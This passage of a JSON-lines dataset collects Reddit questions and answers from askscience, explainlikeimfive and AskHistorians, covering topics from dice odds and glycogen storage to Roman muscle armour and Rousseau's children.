your time!\u2019 Chandler enforces this. Just a fun fact: The guards referred to are Maitland\u2019s Brigade of 1st Foot Guards. These men were renamed as the Grenadier Guards after a mistake was made during the battle that these men defeated the famous Grenadiers of Napoleon\u2019s Imperial Guard. In actual fact those Grenadiers were defeated further down the line.\n\nHugo\u2019s mention of the final square of French soldiers is rather myth than fact. Yes, the remaining French soldiers formed a few squares and slowly moved forward (Napoleon took shelter in one for a time) but eventually all were defeated and routed. The Old Guard held the rear before they themselves retreated once again. Hugo\u2019s claim that General Cambronne shouted \u2018Merde\u2019 (shit) when asked to surrender is false, but it does, as Chandler states, reflect the spirit in the last desperate hours. (Chandler\u2019s version of Cambronne\u2019s statement is \u2018The Guard dies but never surrenders\u2019, I do believe that\u2019s much more eloquent and appropriate than just saying \u2018shit\u2019, don\u2019t you?).\n\nFinally, I will address a few of Hugo\u2019s statistics, though only the ones I have the information on and which ties in with those Hugo mentions. The 79th Highlanders are stated, by Hugo, to have lost \u201824 officers wounded, 18 officers killed, 450 soldiers killed\u2019. Chandler\u2019s account states (from Wellington\u2019s dispatches) that they 79th lost \u20183 captains, five lieutenants, nine NCOs and seventy-five privates killed, besides another twenty-four officers and 375 rank and file wounded \u2013 or 491 casualties in all\u2019. These statistics are over the days of 16th \u2013 18th of June, not Waterloo itself, showing how, with statistics, we should not trust Hugo as a viable source. \nThat\u2019s all I can really be bothered to write right now. Hope I helped and gave you all the information you wanted to know!\n\n**TL;DR**: Hugo is accurate in most of the big events of the battle, but is highly inaccurate and fictitious when it comes to statistics and areas of the battle that can be highly romanticised, such as what was said, who did what and what caused problems in some areas of the battle. For study I would not recommend Hugo as a source at all.  \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.gutenberg.org/files/135/135-h/135-h.htm#link2HCH0073"], [], [], ["https://youtu.be/WwVqlSKjJGc?t=17m44s"]]}
{"q_id": "30wmyt", "title": "What is the chance of predicting the outcome of a die roll?", "selftext": "So lets say you have a six sided die and you try to guess what number you are going to roll. \n\nAt first I thought it would be a 1/6 but then I thought that maybe it is more like rolling the same number twice in a row. \n\nAlso if it is more like rolling the same number twice in a row then what impact would this have on something like lottery numbers, is picking random numbers different to picking the same numbers all the time?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/30wmyt/what_is_the_chance_of_predicting_the_outcome_of_a/", "answers": {"a_id": ["cpwiigo", "cpwioa9"], "score": [6, 29], "text": ["The chance of guessing the roll of a die is 1/6. \n\nThe chances of winning the lottery is the same whether you play with the same numbers each week or different ones. The numbers that you played with last week, and didn't win, does not effect the winning numbers this week. In the same way that if you flip a coin and it lands face down - the chances of the next flip being face down is still 1/2. The coin doesn't \"remember\" the last flip.  ", "The odds of guessing the right roll is 1 in 6. In fact, you were also right when you thought it's the same odds as rolling the same number twice, since that is also 1 in 6.\n\nHave a look at the probability tree [here](_URL_0_). As you can see there are a total of 36 different possibilities when rolling a die twice. Out of those 36 times, there are 6 times in total where the same number is rolled twice. So 6/36 = 1/6.\n\nEdit: dice for plural, die for singular."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://math.illinoisstate.edu/day/courses/old/312/session2101.gif"]]}
{"q_id": "1cinct", "title": "why does the sound keep playing sometimes up to a minute after i close out a tab/window?", "selftext": "not a huge problem. i could easily pause the audio/video before closing, but i'm annoyingly curious\n", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1cinct/eli5why_does_the_sound_keep_playing_sometimes_up/", "answers": {"a_id": ["c9gv8s9"], "score": [2], "text": ["When your computer loads something from the internet, it gets stored in memory. It's like how if you're listening to a song you know, and it stops, it'll keep going in your head because you've already got it memorized.\n\nA computer has to memorize everything you download before you can use it, so when you open music in a window, it has to memorize the music, then play it back to you.\n\nIf your computer is slow, then when you click the X to close the window, the signal to \"stop playing music now\" can take a while to get to the web browser. Meanwhile, if you're running Windows, the system will let you close the browser window since that is more important to your computer than the music is.\n\nSo, the window closes, but the browser is actually still open for a few more seconds since it hasn't gotten the \"stop playing music\" signal.\n\nTo fix this problem, you could probably get more RAM so your computer can memorize things better, or a better processor so it can think faster. Usually it's a combination of things, and if it isn't a big problem, then you probably don't need to bother fixing it anyway, since computer parts can be expensive."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "8ds78i", "title": "why do jet skis shoot a stream of water straight up when they go forward?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8ds78i/eli5_why_do_jet_skis_shoot_a_stream_of_water/", "answers": {"a_id": ["dxpkft6", "dxpkgyk", "dxq7q9x"], "score": [233, 53, 7], "text": ["The stream of water makes the jet ski more visible to other boaters; it is entirely for safety. It is typically the water from the coolant circuit through the engine that is sprayed upwards.", "Those are Yamahas. Almost all engines are water cooled, as in use water to absorb heat from the engine while running. Boats and personal water craft (jet ski is a brand name from Kawasaki) suck up the water from the lake/ocean to cool the engines so they don't need radiators. Yamaha brand just like to point the exit nozzle up and out the rear because it looks cool. Other brands just have it exit parallel to the water out the back.\n\nYamaha does this for brand recognition, serves no better purpose.", "I've seen the safety answer here, but also found something that mentioned that Yamaha originally created their models for use in oceans as well, and having the plume would allow others to keep track of your location while you're between waves."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "4ai7aa", "title": "Are we travelling faster than the speed of light relative to matter outside of our observable universe?", "selftext": "I've been wondering this for a while now. The very reason we cannot see beyond the horizon of the observable universe is the rate of expansion, correct? So are we not traveling faster than the speed of light relative to everything beyond that horizon? And the question that follows is, of course, are we traveling backwards in time relative to what's beyond the observable universe?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4ai7aa/are_we_travelling_faster_than_the_speed_of_light/", "answers": {"a_id": ["d10l3wb", "d110l32"], "score": [19, 5], "text": [" >  The very reason we cannot see beyond the horizon of the observable universe is the rate of expansion, correct?\n\nSort of. The observable universe is however far away light has had time to reach us. Suppose one day everyone decided to only communicate with each other by passing notes that were carried between people by letter carriers walking at a limit of 5km/hr. Starting that day there would be an area centred around each person that would grow at a rate of 5km/hr representing their \"observable zone\", encompassing the people that they could possibly have communicated with since this system started. The observable universe is the same idea: there has only been so much time for light to travel in the history of the universe, and only the parts that are close enough for light to have gotten to use are \"observable\". The observable universe continues to grow as further away things have enough time to become observable.\n\n > So are we not traveling faster than the speed of light relative to everything beyond that horizon?\n\nWhen you're dealing with general relativity, like in cosmology, you have to remember that many of the \"rules\" of special relativity only apply *locally*. So, it's absolutely true (as far as we know) that nothing can travel faster than a light ray in their local space, and thus none of the weird mathematical consequences like \"traveling back in time\" should apply. However, if two objects are very far away from each other, *the space itself* between them is growing, and it's possible that the distance between them grows faster than the speed of light, although neither of the two objects are traveling faster than the speed of light locally. Presumably this is true for any sufficiently far away objects, but I'm not sure exactly how far away those objects are compared to the edge of the observable universe.", "Relative velocity isn't very meaningful with something that's not nearby. It depends on what coordinate system you use. It's sort of like how if you're facing north and someone nearby is facing north, you're facing in the same direction, but if you're facing north and someone else is facing north on the other side of the world, then if you head east until you reach them (walking sideways the whole time), you'll find you're facing the same direction, but if you head north and continue in a great circle until you reach them, you'll be facing opposite directions."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "aohf7x", "title": "For decades in America, hitchhiking was common and deemed reasonably safe. However, it is virtually non-existent today. What caused the shift in opinion?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/aohf7x/for_decades_in_america_hitchhiking_was_common_and/", "answers": {"a_id": ["eg1xpt4"], "score": [37], "text": ["This is not to discourage further conversation, but this question was asked (and responded to) 3 years ago. The thread is [here](_URL_0_) and in particular u/The_Alaskan , u/grantimatter , and u/soulstealer1984 contributed."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/39xill/when_and_why_did_hitchhiking_fall_out_of_fashion/"]]}
{"q_id": "76yfrt", "title": "Rousseau had five children by Therese le Vasseur, all of which they sent to an orphanage. Was this a common or acceptable practice at the time? Was it more common for unmarried couples?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/76yfrt/rousseau_had_five_children_by_therese_le_vasseur/", "answers": {"a_id": ["doiz0b1", "doj5ehr"], "score": [42, 7], "text": ["Foundling hospitals (what we would now call orphanages) were usually populated by orphans, illegitimate children, and children of the very poor whose parents may try to reclaim them at a later date when the parents were better able to support a family.  So, yes, it often happened that illegitimate children were sent away to a charitable institution or abandoned (or perhaps sent to a married family member who might treat the child as her own). It was still considered a shameful thing for most people to have a child out of wedlock (which was why, as evidence of \"sinful behavior,\" illegitimate children might be sent away). Of course, these children might also serve as an impetus for their parents to marry. \n\nIn her book on illegitimate English children in the eighteenth century, Lisa Zunshine discusses that the problems that middle class women encountered with having an illegitimate child were not experienced by noble families (who had enough wealth to share some with a \"bastard\"), nor by poor couples who would often have common law marriages and not be particularly bothered by the fact that they weren't officially married. Poor single women were the worst off, and they were the ones who usually had to resort to giving up their children.\n\nRousseau, whose ideas about child rearing would become famous through his book Emile, was likely in a position to raise any children he may have fathered, but chose not to do so. ", "A follow up: I remember hearing with regard to Rousseau that children who were raised in such orphanages would be regarded and treated better by society/community than if they were to remain with an unmarried woman. Is there any truth to such a claim?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "qlwsy", "title": "Is it possible to grow food in my office?", "selftext": "Is it possible to grow anything edible in an office using ceiling lights? I don't have access to natural light of any kind.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/qlwsy/is_it_possible_to_grow_food_in_my_office/", "answers": {"a_id": ["c3ymwk4", "c3yni54"], "score": [3, 3], "text": ["Former hydroponics tech here. The short answer is \"yes, but stick to leafy greens\".  \n\nSo, plants need light in order to produce chlorophyll.  But they don't need all wavelengths of sunlight in order to do this.  Obviously, they don't need green, since leaves reflect green.  Most of these good wavelengths fall in the red range and in the blue range. There's talk of UV being beneficial for hardiness as well, but I haven't seen the research to back it up.\n\nAnyway, your standard long fluorescent bulb will produce the [right kind of light](_URL_0_) plants need for both leafy and flowering/fruiting growth.  \n\nThe problem with flowering/fruiting growth is that it's a lot more nutrient-intensive than vegetative. You'll probably need at least a 3-gallon container if you plan on growing anything bigger than cherry tomatoes. Also, many plants are expecting a light/dark cycle, and may not be able to fruit properly due to not getting enough \"sleep\".\n\nI'd suggest starting with leafy edibles, and experiment with small fruits if your first leafy harvest goes well.", "You could grow mushrooms in a desk drawer, no light needed."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.bealecorner.org/best/measure/cf-spectrum/index.html"], []]}
{"q_id": "2rgub8", "title": "Does glycogen stored in human muscle require use of that specific muscle in order to utilize it?", "selftext": "Or is it stored and utilized like fats (depending on genetics, body type, etc)?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2rgub8/does_glycogen_stored_in_human_muscle_require_use/", "answers": {"a_id": ["cng4nz9"], "score": [2], "text": ["The answer to your question is yes, and in particular it requires the utilisation of the specific myocyte within that muscle.\n\nOnce glucose enters a myocyte (muscle cell) and is converted to glycogen, it can only be utilised within that cell. This is because muscle cells do not synthesise glucose-6-phosphatase. Glucose-6-phosphatase breaks down glucose-6-phosphate (G6P) into glucose in the liver. Unlike G6P, glucose can be exported across the cell membrane into the bloodstream.\n\nWhilst it can't be exported, G6P can be used by cells to generate ATP, and thus meets the requirements of the myocytes.\n\nSee [here](_URL_0_) for more information on glycogen metabolism."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://oregonstate.edu/instruct/bb450/summer09/lecture/glycogennotes.html"]]}
{"q_id": "ccc88q", "title": "why aren't we making new toilets and bathroom stuff coated with that hydrophobic material? wouldn't that take a little bit of water from the process?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ccc88q/eli5_why_arent_we_making_new_toilets_and_bathroom/", "answers": {"a_id": ["etlxxtf", "etm2rqb", "etmd6bi"], "score": [23, 4, 14], "text": ["Porcelain, unless the glaze has been damaged, is already waterproof. adding a hydrophobic material would not improve functionality in any manner and it would only increase the cost.", "If water was the contamination that needed to be removed, making it hydrophobic would be helpful (though costly). However, making it hydrophobic wouldn't necessarily make feces not stick, and water is just used to wash that away.", "Many of the gee-whiz hydrophobic coatings you see videos about are not at all durable or long lasting. They require frequent re-coating and do not hold up to cleaners."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "jslff", "title": "I have original music playing in my dreams, is this \nnormal?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/jslff/i_have_original_music_playing_in_my_dreams_is/", "answers": {"a_id": ["c2etf1s", "c2etf1s"], "score": [4, 4], "text": ["It's fairly normal. If you listen to a lot of music, or spend a day listening to lots of *new* or unfamiliar music, you're likely to experience something similar in your dreams.\n\nThe originality of that music, though, or its overall *quality* could be an illusion. Your dreams may just incorporate *the sensation* of hearing excellent, original music, while the music itself might be something you've heard before, or something original but kinda banal.\n\nI've woken from dreams many times with 'original' music still rattling around in my head, and on a few occasions I've managed to record it just as it was in the dream, before the memory faded. While each time it *felt* like it should've been really good, after a cup of coffee and a second listen, it's turned out to be pretty mediocre - or at any rate, no better than what I'd write when I was awake.\n\nIn short, nothing magical happens when you're dreaming, none of your existing abilities are enhanced and nothing new is 'unlocked'. All that happens is your imagination runs wild and your inner critic shuts down.", "It's fairly normal. If you listen to a lot of music, or spend a day listening to lots of *new* or unfamiliar music, you're likely to experience something similar in your dreams.\n\nThe originality of that music, though, or its overall *quality* could be an illusion. Your dreams may just incorporate *the sensation* of hearing excellent, original music, while the music itself might be something you've heard before, or something original but kinda banal.\n\nI've woken from dreams many times with 'original' music still rattling around in my head, and on a few occasions I've managed to record it just as it was in the dream, before the memory faded. While each time it *felt* like it should've been really good, after a cup of coffee and a second listen, it's turned out to be pretty mediocre - or at any rate, no better than what I'd write when I was awake.\n\nIn short, nothing magical happens when you're dreaming, none of your existing abilities are enhanced and nothing new is 'unlocked'. All that happens is your imagination runs wild and your inner critic shuts down."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2zkinm", "title": "Roman military uniforms: Were 6-pack ab designs as common in history as they are in Hollywood movies?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2zkinm/roman_military_uniforms_were_6pack_ab_designs_as/", "answers": {"a_id": ["cpjsykg", "cpjt1jt", "cpjxwyz", "cpkmpn8"], "score": [107, 1679, 58, 5], "text": ["There is some debate but, in Roman context, the Muscled Cuirass apears to have been a part of the \"Uniform\" of high ranking Roman officers during the Repulican and much of the Pricipate eras. Unfortunately most of the evidence we have for Roman use of the Muscled Cuirass comes from statuary and other monuments while Polybius completely omits the Muscled Cuirass from his account of Roman military equipment so it is possible that such equipment was limited to more of a parade uniform status than field dress.", "This is something I can answer! I am German, and my primary source here is Graham Sumner's \"Die R\u00f6mische Armee\", which I also only have as a German edition, so apologies if there are some translational inaccuracies.\n\nThe \"6 packs ab\" design, colloquially called \"muscle armor\", is widely known from Roman statues, the most famous of which is probably that of [Augustus] (_URL_2_). Based on this, we must assume that it was in fact at least used in the Roman military.\n\nHowever, we have no archaeological proof of this type of armor - not a piece of it has ever been found, at least not from Roman times. What we do have are older examples, such as [Greek hoplite muscle armor](_URL_1_)\n\nBecause muscle armor is so abundant on statues, one theory is that it was made from leather, which would explain why there are no surviving examples of it (as leather does not preserve as well as metal armor). However, the prevailing theory now is that this type of armor was exclusive to very high ranking officers, and not widely used in the lower ranks.\n\nThe armor of the rank and file soldiers, for which we do have archaeological proof, is much more likely to be [chain mail](_URL_3_), [segmented armor](_URL_4_) and [scale armor](_URL_0_).\n\nPrimary source here is, as I mentioned, the Graham Sumner's \"Die R\u00f6mische Armee\", which, as far as I can tell, was published in 2 books in English (\"Roman Military Dress\" and \"Roman Military Equipment\").", "The Musculata (6-pack ab) armor was most likely for show and reserved for higher level officers as it was form fitted and not easily adjustable.   \n  \nThe Romans were very much about efficiency when it came to military matters. The more common armor of the Roman Legion was the Lorica Segmentata, an armor made up of overlapping bands and panels of metal plates. Much of the information about the lorica segmentata comes from the Trajan's column monument and other friezes and monuments of the time period. There is archaeological evidence of the segmentata all over the place that seems to support that it was far more common than any other type of armor but there are questions as to whether that is because it was more prone to losing pieces as opposed to being more prevalent.   \n  \nAs someone who has made both medieval and roman style armor I would say in my personal opinion based on experience that the segmentata is far easier to construct in bulk and to fit to a user rapidly than any solid piece of armor such as the musculata. It is far more time consuming to make fitted musculata chest pieces or chain mail than to strap together a bunch of pre-made strips in varying sizes. If you want to read more about the segmentata style of armor [here is a good scholarly paper on the subject from _URL_0_ that is the source of some of what I said above.](https://www._URL_0_/513011/Lorica_Segmentata_Volume_I_A_Handbook_of_Articulated_Roman_Plate_Armour) ", "can i just point out that in almost [every](_URL_4_) [historical](_URL_0_) [piece](_URL_2_) of [art](_URL_1_) depicting [musculata](_URL_5_) or even just a [torso](_URL_3_), the plate does not, in fact, include overly cut \"6 pack\" abs?\n\nthe greeks and romans really preferred a deep chest and semi-toned abdominal muscles, they probably would have thought 6 pack ab musculata was silly and over the top."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Lorica_squamata", "https://en.wikipedia.org/wiki/Hoplite#/media/File:Hoplite_armour_exhibit_at_the_Corfu_Museum_closeup.jpg", "https://upload.wikimedia.org/wikipedia/commons/e/eb/Statue-Augustus.jpg", "https://en.wikipedia.org/wiki/Lorica_hamata", "https://en.wikipedia.org/wiki/Lorica_segmentata"], ["academia.edu", "https://www.academia.edu/513011/Lorica_Segmentata_Volume_I_A_Handbook_of_Articulated_Roman_Plate_Armour"], ["http://upload.wikimedia.org/wikipedia/commons/e/ea/Naiskos_soldiers_Baltimore_Painter_MAN.jpg", "http://farm5.staticflickr.com/4029/4388410699_a2db374e8b_o.jpg", "http://upload.wikimedia.org/wikipedia/commons/1/11/Augusto_di_Prima_Porta,_inv._2290,_03.jpg", "http://upload.wikimedia.org/wikipedia/commons/9/98/Doriphorus02_pushkin.jpg", "http://upload.wikimedia.org/wikipedia/commons/c/ce/Museo_archeologico_regionale_paolo_orsi%2C_corazza_in_bronzo%2C_da_tomba_5_necropoli_della_fossa%2C_370-340_ac._01.JPG", "https://s-media-cache-ak0.pinimg.com/236x/b4/7f/c6/b47fc6d273146913a24427183bf19ba9.jpg"]]}
{"q_id": "180zvb", "title": "Were should I began with studying the Italian expeditions to the West African coast in the 14th century?", "selftext": "So I was watching a recorded lecture over the age of exploration and it mentioned that the Italian states during the 14th century send a number of ships to explore the west coast of Africa and none of the ships were ever seen again, and that their fate is a mystery to this day. The mysteriousness of the subject piqued my interest, and while of course the true fate of the expeditions will probably never be known , I am curious to read up on what has been written about them. I typed in \"Italian expeditions to west Africa 14 century\" into Google and didn't find anything , so this was my next place to turn. What books, documentaries, or scholarly articles (I have access to JSTOR) should I check out?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/180zvb/were_should_i_began_with_studying_the_italian/", "answers": {"a_id": ["c8amww5"], "score": [2], "text": ["Try out: \n\n* [Francis M. Rogers: The Vivaldi Expedition](_URL_1_), in: Annual Report of the Dante Society, with Accompanying Papers, No. 73 (1955), pp. 31-45\n\nAnother option are the publications of [Charles Verlinden](_URL_2_), a Belgian historian who specialised on the subject of early exploration. The standard work is most likely \n\n* Charles Verlinden: [The Beginnings of modern colonization](_URL_0_), Ithaca 1970."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.worldcat.org/title/beginnings-of-modern-colonization/oclc/113916&amp;referer=brief_results", "http://www.jstor.org/stable/40166019", "http://fr.wikipedia.org/wiki/Charles_Verlinden"]]}
{"q_id": "f28lmb", "title": "Third year history student, any tips for memorizing \u201cforeign\u201d names?", "selftext": "Hello I am a 20 year old history major. As my studies become more focused, I have avoided western history because in the US it seems that\u2019s all you\u2019re taught in high school. \n\nI\u2019m currently in a China in the 20th Century class, and I\u2019m having a really hard time remembering all the different important figures and places. I\u2019m a native English speaker and my brain just cannot remember who is who or where is where. \n\nMemorization/studying is usually not this hard for me, so I\u2019m frustrated. I had this same problem in an Ancient African History class last semester. \n\nI know it\u2019s a niche question but I couldn\u2019t find anything online about it, if you have any tips please share! Thank you.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/f28lmb/third_year_history_student_any_tips_for/", "answers": {"a_id": ["fhcvgcf", "fhbictb", "fhc0d23"], "score": [5, 30, 10], "text": ["From the introduction to Mark Elvin's excellent *Retreat of the Elephants: an Environmental History of China*.\n\n > The most difficult practical obstacle to assimilating Chinese history for those who are not Chinese speakers is one that is, paradoxically, both trivial and all but insurmountable.  This is remembering Chinese names of people and places.  \n\nHe goes on to describe the most popular transcription scheme, pinyin, as putting \"mental barbed wire\" in the way of native English speakers.  \n\nThat's pretty much your answer, though you're not going to like it: it's really, really hard.  If nothing else, at least take comfort in the fact that this is a recognized problem.  You don't have a defective brain and you're not facing some unique issue here.  Chinese linguistic patterns are in some ways very difficult for people used to western patterns, and pinyin sometimes seems as if it were deliberately designed to exacerbate that.\n\nThe solution is really just to work harder.  There are no shortcuts here.  Take very detailed notes as you read and focus on names, come up with mnemonics,  and perhaps even consider some light Chinese language instruction from duolingo or something similar to get you used to the phonetics if nothing else.  Being able to internalize the pronunciation may help you recognize names at a glance a bit better.\n\nAll that aside, I'd like to address the first thing you said.\n\n > As my studies become more focused, I have avoided western history because in the US it seems that\u2019s all you\u2019re taught in high school. \n\nThis is a trap.  I felt similar to you as an undergrad - I didn't want to rehash the same tired old American narratives we've had beaten into our heads since kindergarten.  I wanted to specialize in something really exotic and unique because I was Special.  I was very fortunate to have an advisor disabuse me of that notion. \n\nTo really specialize in any region or time period, some relevant element of literacy is necessary.   If you want to focus on Chinese history, that means learning to read at least one Chinese language.   I would be very careful trying to specialize outside of your linguistic sphere unless you are very committed to putting in a *lot* of extra work.   Has this been brought up to you yet by your advisor or other faculty?  \n\nThe other side of this is that a serious, high level look at American history, for instance, will bear surprisingly little resemblance to what you were taught in high school.  There are *lots* of areas to specialize in here that will be very new to you as well.   I think you might be pleasantly surprised.\n\nIf this degree is just a stepping stone to something like law school for you, then you can ignore all this - just get the grades and move on.  But if you're considering a masters/phd/a career as a historian/etc I would be careful choosing to focus on Chinese history unless you're prepared to also study the language, which is quite difficult to do.", "My suggestion, for what it's worth: Look into the building blocks of the words/names. In every culture, names have rules. The more you understand those rules the more you can see whether a name looks 'right', which is what you do in English. For example, Jhon Aomer Curly Smeit looks weird to you because it violates a bunch of English name rules. Four parts, a non-surname adjective, weird spelling, etc.\n\nTo give a Chinese example, Mao Zedong follows a pretty standard Chinese pattern: three monosyllables with the last two smooshed together to appeal to the western idea of names having two parts. This is the vast majority of Chinese names, to the point where exceptions (like Zhuge Liang) are notable. Once you realize that, you can start to parse out other rules based on what those three syllables are, add in courtesy names (which have a separate set of rules), etc.\n\nBest of all, because people *expect* these rules to be followed they will often coerce names to follow them. For example, the sometimes incredibly long names of European aristocrats are often parsed down to a first and last name. Likewise, we tend to ascribe surnames to people who didn't have them or use appellations as if they were surnames. So once you understand the rules you are often 'right' even if the actual name is different.\n\nIn short, you need to give your brain a way to process the information. Most people are terrible at rote memorization. They need their brain to understand why the information is important and how to interpret and contextualize it.\n\nAt least that's my experience. I've never been any good at just remembering arbitrary things but understanding systems allows me to have fairly good recall. For example, when I was very young I had a great deal of trouble memorizing numbers but once I realized the system it was easy. I just had to see \"325\" not as an arbitrary group of numbers but as indicating, \"three hundreds, two tens, and five\".", "Outside of understanding the rules of the language, I would also suggest becoming familiar with the phonology of the language actually. You don't have to become a genius or anything, but being familiar with what counts as a permissible sound will also help you when you're trying to remember names rather than reading them. For example, \"ki\" is not a sound you'll ever hear in Chinese so if you know the sound starts with a \"k,\" you can limit the next letter/sound. Being able to create a reliable pronunciation on your own and not have to try to approximate it or guess using English every time (thereby resulting in different variations of pronunciation) will also make it easier for you to repeat and remember names."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "r24oh", "title": "What is the purpose of Glycerin in products such as make up and pharmecuticals?", "selftext": "One of my friends claims that they are allergic to glycerin, and that it is in most pharmecutical products. My question is: what does glycerin do/what is it's purpose in these products? Is it a preservative? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/r24oh/what_is_the_purpose_of_glycerin_in_products_such/", "answers": {"a_id": ["c42b2ia", "c42b3sp", "c42blzp"], "score": [7, 3, 3], "text": ["In pharmaceuticals, glycerol is mainly used as a *humectant*. Glycerol is hydrophilic because of several [hydroxyl groups](_URL_0_)(-OH), meaning it will readily bond with water molecules. It reduces humidity and preserves dryness, which is essential in prolonging the shelf life of pills. \n\nGlycerol has a similar purpose in dry makeup such as blush or eyeshadow- reduce moisture and caking. \n\nEdit: Glycerin and glycerol are names that can be used interchangably. They refer to the same molecule. \n", "It's a hygroscopic solvent. It's non-toxic. As a hygroscopic substance, it is an effective humectant. In terms of cosmetics, it's probably used mostly as an emulsifier.\n\nI doubt your friend is allergic to it. Free glycerol is found all the time in the bloodstream and is a byproduct of lipolysis. ", "Just curious, is the friend thinking about gluten? It is also in makeup and some pharmaceuticals, and is a common allergy."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://upload.wikimedia.org/wikipedia/commons/d/dc/Glycerin_Skelett.svg"], [], []]}
{"q_id": "rrkjh", "title": "How long could the Earth last.", "selftext": "If the Sun were to remain at a constant temperature and never died how long could the Earth theoretically last to support life?  How long will it take for Earth to become a dead planet like Mars?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/rrkjh/how_long_could_the_earth_last/", "answers": {"a_id": ["c483iq1", "c483isk", "c484i3z"], "score": [3, 13, 2], "text": ["If the Sun **never** died/changed, there is no reason that the Earth's present state could not persist essentially forever. Over a very long time (many billions of years), there would be problems with atmospheric loss and on the next largest time scale, eventually the Earth would cool and plate tectonics come to a stop (perhaps 10s of billions of years?). ", "Quite a few billions of years.\n\nThe atmosphere is the most fragile part. Some planets lose atmosphere over time, as energetic gas molecules escape the planetary gravity and float off into space. But Earth's gravity is too high and its temperature too low, for this to happen significantly. If nothing changes, we could expect no significant atmospheric loss over [at least a trillion years](_URL_0_). I'll call that slow enough to be ignored.\n\nThe other significant change would be the magnetic field. That protects life on Earth from solar radiation, and it's generated by movement of the planet's molten core. At some distant point in the future, once the core cools down and solidifies, the magnetic field would be expected to weaken or cease. But the core is kept hot by the decay of long-lived radioactive atoms, with half-lives in the multiple billions of years. It's going to be a very long while before the core cools any significant amount.\n\nIn short: it's not going to happen this year, no matter what people say about the Mayan calendar.", "I'm surprised that no one has mentioned that the Earth and Sun are moving apart at [_URL_0_](about 15cm per year.) I'm sure someone else has done the calculations about when it'll leave the habitable zone. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Atmospheric_escape#Dominant_atmospheric_escape_and_loss_processes_on_Earth"], ["http://www.newscientist.com/article/dn17228-why-is-the-earth-moving-away-from-the-sun.html"]]}
{"q_id": "a2wcmn", "title": "why do exorcisms tend to involve catholic/christian phrases and not phrases from other religions?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a2wcmn/elif_why_do_exorcisms_tend_to_involve/", "answers": {"a_id": ["eb1nevc", "eb1nf64", "eb1ngv3", "eb1nj6n", "eb1njws"], "score": [6, 2, 4, 4, 3], "text": ["From what I've read, exorcism in the English speaking world is mostly a Catholic phenomenon. Historically, Protestant exorcism relies on prayer and fasting*. Jewish, Muslim or Hindu exorcism is underrepresented in English media. \n\n*Not visually appealing.", "The Catholic church is a massive globe spanning organization so it's got plenty of influence.  Meanwhile they specifically have an exorcism ritual.  \n\nCatholicism is also the most popular religion to throw into media like TV shows or movies, because it's the most visual religion of the common American groups (easy to show a character cross themselves, or rub a set of rosary beads), so it's the one you'll see/hear the most from.  ", "Because they are written for entertainment in areas where most people are Christian. If a movie produced in India had a similar theme it would likely not be Christian based, but most Americans and Europeans wouldn't relate to it the same way. ", "The obvious reason is that Christianity is just ubiquitous in the West, so depictions of religious ceremonies are obviously going to be Christian or Christian-influenced. \n\nLess obvious is that Christianity has an explicit concept of exorcism, with Jesus and the apostles performing multiple exorcisms in the Gospel and Acts. As far as I know other religions don\u2019t make as big a deal of exorcisms or exorcism-equivalents. ", "\u201cExorcism\u201d is a word and process that was labeled by catholic/Christians so all the words and phrases are their terminology strictly. I don\u2019t know if any other religions ever acknowledged or talked about \u201cpossession\u201d all that much to where \u201cexorcisms\u201d became a thing that they labeled and talked about. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
